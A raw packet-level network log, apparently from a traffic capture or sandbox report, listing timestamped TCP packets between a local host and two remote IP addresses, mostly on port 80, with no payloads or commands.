Nov 25, 2024 12:08:51.610243082 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.610260010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.610404015 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.611048937 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.611063004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.611243010 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.612030983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.612078905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.612112045 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.612262964 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.612751961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.612840891 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.613269091 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.613740921 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.613754034 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.613805056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.614494085 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.614548922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.614625931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.615389109 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.615447998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.615467072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.615493059 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.616276026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.616288900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.616379976 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.617151976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.617166042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.617273092 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.617985964 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.618037939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.618042946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.618213892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.618870020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.618882895 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.618968964 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.619767904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.619822025 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.619846106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.619956970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.620702028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.620716095 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.620948076 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.621520042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.621566057 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.621591091 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.621670008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.622447014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.622526884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.622566938 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.622646093 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.623285055 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.623296976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.623356104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.624118090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.624213934 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.624466896 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.624955893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.625025988 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.625087976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.625145912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.625865936 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.625880003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.625956059 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.625986099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.626712084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.626732111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.626810074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.626810074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.627614975 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.627628088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.627715111 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.628453016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.628465891 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.628525972 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.628525972 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.629347086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.629360914 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.629499912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.630234957 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.630248070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.630583048 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.631069899 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.631083965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.631145000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.631968021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.632338047 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.632415056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.632900000 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.632972002 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.633114100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.633434057 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.633667946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.633774042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.634023905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.634102106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.634583950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.634598017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.634654045 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.634710073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.635466099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.635479927 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.635550022 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.636274099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.636387110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.637166977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.637181044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.637196064 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.637233973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.637254953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.638019085 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.638070107 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.638963938 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.638978958 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.638993025 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.639060974 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.639767885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.639836073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.640666008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.640678883 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.640691996 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.640734911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.640734911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.641556025 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.641675949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.641738892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.641841888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.642445087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.642546892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.642587900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.642735958 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.643305063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.643323898 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.643404007 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.644134998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.644223928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.644320965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.644422054 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.645008087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.645097971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.645211935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.645277977 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.645867109 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.645940065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.801976919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.801989079 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.802114964 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.802418947 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.802509069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.802895069 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.802980900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.803416014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.803430080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.803483009 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.804224968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.804394007 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.804519892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.805493116 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.805505991 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.805571079 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.805571079 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.806266069 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.806279898 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.806447983 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.806808949 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.806822062 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.806900978 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.807650089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.808000088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.808063984 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.808604956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.808686972 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.808945894 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.809065104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.809309006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.809379101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.809415102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.809436083 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.810208082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.810219049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.810359955 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.811126947 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.811167955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.811186075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.811223030 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.811943054 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.812051058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.812064886 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.812124968 CET	443	49804	204.79.197.239	192.168.2.8
Nov 25, 2024 12:08:51.812186956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.812475920 CET	443	49804	204.79.197.239	192.168.2.8
Nov 25, 2024 12:08:51.812530994 CET	49804	443	192.168.2.8	204.79.197.239
Nov 25, 2024 12:08:51.812799931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.812871933 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.813072920 CET	49804	443	192.168.2.8	204.79.197.239
Nov 25, 2024 12:08:51.813082933 CET	443	49804	204.79.197.239	192.168.2.8
Nov 25, 2024 12:08:51.813132048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.813374996 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.813683033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.813739061 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.813865900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.813932896 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.814567089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.814616919 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.814927101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.814996004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.815413952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.815501928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.815715075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.815800905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.816306114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.816461086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.816483021 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.816709995 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.817198038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.817210913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.817301035 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.818180084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.818280935 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.818408012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.818542004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.818939924 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.819047928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.819226980 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.819291115 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.819772005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.819843054 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.820111036 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.820224047 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.820647001 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.820748091 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.820883036 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.820940971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.821563959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.821578026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.821772099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.822402954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.822673082 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.822710991 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.822767973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.823263884 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.823311090 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.823832035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.823999882 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.824201107 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.824213982 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.824321032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.825090885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.825103045 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.825198889 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.825932980 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.825947046 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.826133013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.826793909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.826875925 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.827635050 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.827650070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.827663898 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.827697992 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.827748060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.828489065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.828702927 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.828978062 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.829427004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.829440117 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.829493046 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.829536915 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.830229044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.830456018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.831146955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.831166983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.831180096 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.831218004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.831262112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.832047939 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.832138062 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.832884073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.832895994 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.832994938 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.833065987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.833738089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.833798885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.833837032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.834358931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.834655046 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.834693909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.834741116 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.834794044 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.835486889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.835704088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.835809946 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.836357117 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.836415052 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.836945057 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.837027073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.837291002 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.837304115 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.837366104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.838103056 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.838185072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.838219881 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.838361979 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.839044094 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.839056969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.839127064 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.839823008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.839890003 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.840029955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.840137005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.840724945 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.840831995 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.841650963 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.841664076 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.841675043 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.841744900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.841744900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.842443943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.842719078 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.842909098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.843177080 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.843327999 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.843378067 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.844021082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.844083071 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.844230890 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.844244003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.844290018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.845055103 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.845196009 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.845383883 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.845468044 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.845944881 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.846002102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.846036911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.846081018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.846812010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.846884966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.846915960 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.847178936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.847764969 CET	80	49744	185.215.113.206	192.168.2.8
